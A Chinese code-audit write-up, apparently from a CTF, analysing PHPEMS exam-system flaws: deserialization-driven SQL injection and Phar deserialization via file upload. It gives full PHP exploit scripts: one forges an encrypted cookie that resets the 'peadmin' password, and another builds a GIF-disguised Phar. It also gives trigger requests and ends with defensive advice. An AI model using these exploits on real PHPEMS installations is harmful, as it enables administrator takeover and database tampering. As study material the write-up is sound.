代码审计 - PHP - 再谈西湖论剑PHPEMS
字数 1002 2025-08-19 12:42:30

PHPEMS代码审计与漏洞利用分析

1. 系统概述

PHPEMS是一个基于PHP的考试管理系统,本次分析主要针对其存在的安全漏洞,包括SQL注入和Phar反序列化漏洞。

2. 漏洞分析

2.1 SQL注入漏洞

2.1.1 漏洞位置

漏洞存在于SQL语句构建过程中,关键代码如下:

$db_limits = $this->_mostlimits;
$db_groups = $db_groups?' GROUP BY '.$db_groups:'';
$db_orders = $db_orders?' ORDER BY '.$db_orders:'';
$sql = 'UPDATE '.$db_tables.' SET '.$parsql.' WHERE '.$db_query.$db_groups.$db_orders.' LIMIT '.$db_limits;

2.1.2 漏洞原理

  1. $db_tables属性可通过反序列化控制
  2. SQL语句直接拼接用户可控数据,未使用预编译
  3. 通过反序列化可以完全控制表名部分,实现SQL注入

2.1.3 利用链构造

利用链涉及以下类:

  1. session类:包含pdosqlpepdo对象
  2. pdosql类:包含可控的tablepre属性
  3. pepdo类:数据库连接类

2.1.4 利用EXP

<?php  
namespace PHPEMS{  
    class session{  
    public function __construct()  
    {  
        $this->sessionid="1111111";  
        $this->pdosql= new pdosql();  
        $this->db= new pepdo();  
        }  
    }  
    class pdosql  
    {  
        private $db ;  
        public function __construct()  
        {  
            $this->tablepre = 'x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--';  
            $this->db=new pepdo();  
        }  
    }  
    class pepdo  
    {  
        private $linkid = 0;  
    }  
}  

namespace {  
    $info = "%2595%259Cfs%25AF%25D9lon%2586%25D9%25C8%25D7%25D6%25A0%25A1%25A2%25CA%2594X%259D%25AC%259Ccg%259DS%2596i%259B%259B%25C7%2599%2598kp%2595%259Eg%2598%2598%25C7%25CA%259B%259A%2594lid%2593%2592%259B%2594i%25C3fh%2598c%2587p%25AC%259F%259Dn%2584%25A6%259E%25A7%25D9%259B%25A5%25A2%25CD%25D6%2585%259F%25D6qkn%2583ah%2599g%2592%255Ee%2591b%2587p%25AC%259F%2595j%259CU%25AC%2599%25D9%25A5%259F%25A3%25D2%25DA%25CC%25D1%25C8%25A3%259B%25A1%25CA%25A4X%259D%25A2%259Cal%2593g%259Bhk%2595%259Bm%259D%25B0";
    $info = urldecode($info);  
    $info = urldecode($info);  
    $info = substr($info,64,32);  
    
    function reverse($payload1,$payload2)  
    {  
        $il = strlen($payload1);  
        $key= "";  
        $kl = 32;  
        for($i = 0; $i < $il; $i++)  
        {  
            $p = $i%$kl;  
            $key .= chr(ord($payload1[$i])-ord($payload2[$p]));  
        }  
        return $key;  
    }  

    define(CS1,reverse($info, ':"sessionip";s:9:"127.0.0.1";s:1'));  
    
    function encode($info)  
    {  
        $info = serialize($info);  
        $key = CS1;  
        $kl = strlen($key);  
        $il = strlen($info);  
        for($i = 0; $i < $il; $i++)  
        {  
            $p = $i%$kl;  
            $info[$i] = chr(ord($info[$i])+ord($key[$p]));  
        }  
        return urlencode($info);  
    }  
    
    $session = new \PHPEMS\session();  
    $array = array("sessionid"=>"123123123", $session);  
    echo(urlencode(encode($array)))."\n";  
}

2.1.5 利用方式

构造恶意Cookie发送请求:

GET /index.php HTTP/1.1
Host: exam.cyan.wetolink.com
Cookie: exam_currentuser=[生成的恶意Cookie]

2.2 Phar反序列化漏洞(非预期)

2.2.1 漏洞位置

app/weixin/controller/index.api.php中的file_get_contents函数调用

2.2.2 漏洞原理

  1. 系统接收XML格式的微信消息
  2. 通过file_get_contents处理用户可控的URL参数
  3. 可使用phar://协议触发反序列化

2.2.3 利用步骤

  1. 构造恶意Phar文件
<?php  
namespace PHPEMS{  
    class session{  
        public function __construct()  
        {  
            $this->sessionid="1111111";  
            $this->pdosql= new pdosql();  
            $this->db= new pepdo();  
        }  
    }  
    class pdosql {  
        private $db ;  
        public function __construct() {  
            $this->tablepre = 'x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--';  
            $this->db=new pepdo();  
        }  
    }  
    class pepdo {  
        private $linkid = 0;  
    }  
}  

namespace {  
    $o = new \PHPEMS\session();  
    $filename = '111.phar';
    file_exists($filename) ? unlink($filename) : null;  
    $phar=new Phar($filename);  
    $phar->startBuffering();  
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");  
    $phar->setMetadata($o);  
    $phar->addFromString("foo.txt","bar");  
    $phar->stopBuffering();  
    system('copy 111.phar 111.gif');  
}
  1. 上传Phar文件

通过app/document/controller/fineuploader.api.php上传接口上传恶意文件,获取文件路径:

{"success":true,"thumb":"files/attach/images/content/20240204/17070404291915.jpg","title":"1.jpg"}
  1. 触发反序列化

构造XML请求触发file_get_contents

<xml>
    <ToUserName><![CDATA[zjacky]]></ToUserName>
    <FromUserName><![CDATA[zjacky]]></FromUserName>
    <MsgType><![CDATA[image]]></MsgType>
    <MediaId><![CDATA[zjacky]]></MediaId>
    <PicUrl><![CDATA[phar:///path/to/uploaded/file]]></PicUrl>
    <CreateTime>1707039415</CreateTime>
    <MsgId>xxx</MsgId>
</xml>

3. 防御建议

  1. SQL注入防御

    • 使用预编译语句
    • 对表名、字段名等SQL元素进行严格过滤
    • 避免直接拼接用户输入到SQL语句中
  2. 反序列化防御

    • 避免反序列化用户可控数据
    • 使用allowed_classes限制可反序列化的类
    • phar://等危险协议进行过滤
  3. 文件上传防御

    • 检查文件内容而不仅是扩展名
    • 限制上传文件类型
    • 将上传文件存储在非web可访问目录
  4. 其他建议

    • 实现完善的输入验证和输出编码
    • 使用安全的加密方式处理敏感数据
    • 定期进行安全审计和代码审查

4. 总结

PHPEMS系统中存在多个高危漏洞,包括:

  1. 通过反序列化控制的SQL注入漏洞
  2. Phar反序列化导致的代码执行漏洞

这些漏洞组合利用可导致系统完全沦陷,建议用户及时更新或修复。

PHPEMS代码审计与漏洞利用分析 1. 系统概述 PHPEMS是一个基于PHP的考试管理系统,本次分析主要针对其存在的安全漏洞,包括SQL注入和Phar反序列化漏洞。 2. 漏洞分析 2.1 SQL注入漏洞 2.1.1 漏洞位置 漏洞存在于SQL语句构建过程中,关键代码如下: 2.1.2 漏洞原理 $db_tables 属性可通过反序列化控制 SQL语句直接拼接用户可控数据,未使用预编译 通过反序列化可以完全控制表名部分,实现SQL注入 2.1.3 利用链构造 利用链涉及以下类: session 类:包含 pdosql 和 pepdo 对象 pdosql 类:包含可控的 tablepre 属性 pepdo 类:数据库连接类 2.1.4 利用EXP 2.1.5 利用方式 构造恶意Cookie发送请求: 2.2 Phar反序列化漏洞(非预期) 2.2.1 漏洞位置 app/weixin/controller/index.api.php 中的 file_get_contents 函数调用 2.2.2 漏洞原理 系统接收XML格式的微信消息 通过 file_get_contents 处理用户可控的URL参数 可使用 phar:// 协议触发反序列化 2.2.3 利用步骤 构造恶意Phar文件 : 上传Phar文件 : 通过 app/document/controller/fineuploader.api.php 上传接口上传恶意文件,获取文件路径: 触发反序列化 : 构造XML请求触发 file_get_contents : 3. 防御建议 SQL注入防御 : 使用预编译语句 对表名、字段名等SQL元素进行严格过滤 避免直接拼接用户输入到SQL语句中 反序列化防御 : 避免反序列化用户可控数据 使用 allowed_classes 限制可反序列化的类 对 phar:// 等危险协议进行过滤 文件上传防御 : 检查文件内容而不仅是扩展名 限制上传文件类型 将上传文件存储在非web可访问目录 其他建议 : 实现完善的输入验证和输出编码 使用安全的加密方式处理敏感数据 定期进行安全审计和代码审查 4. 总结 PHPEMS系统中存在多个高危漏洞,包括: 通过反序列化控制的SQL注入漏洞 Phar反序列化导致的代码执行漏洞 这些漏洞组合利用可导致系统完全沦陷,建议用户及时更新或修复。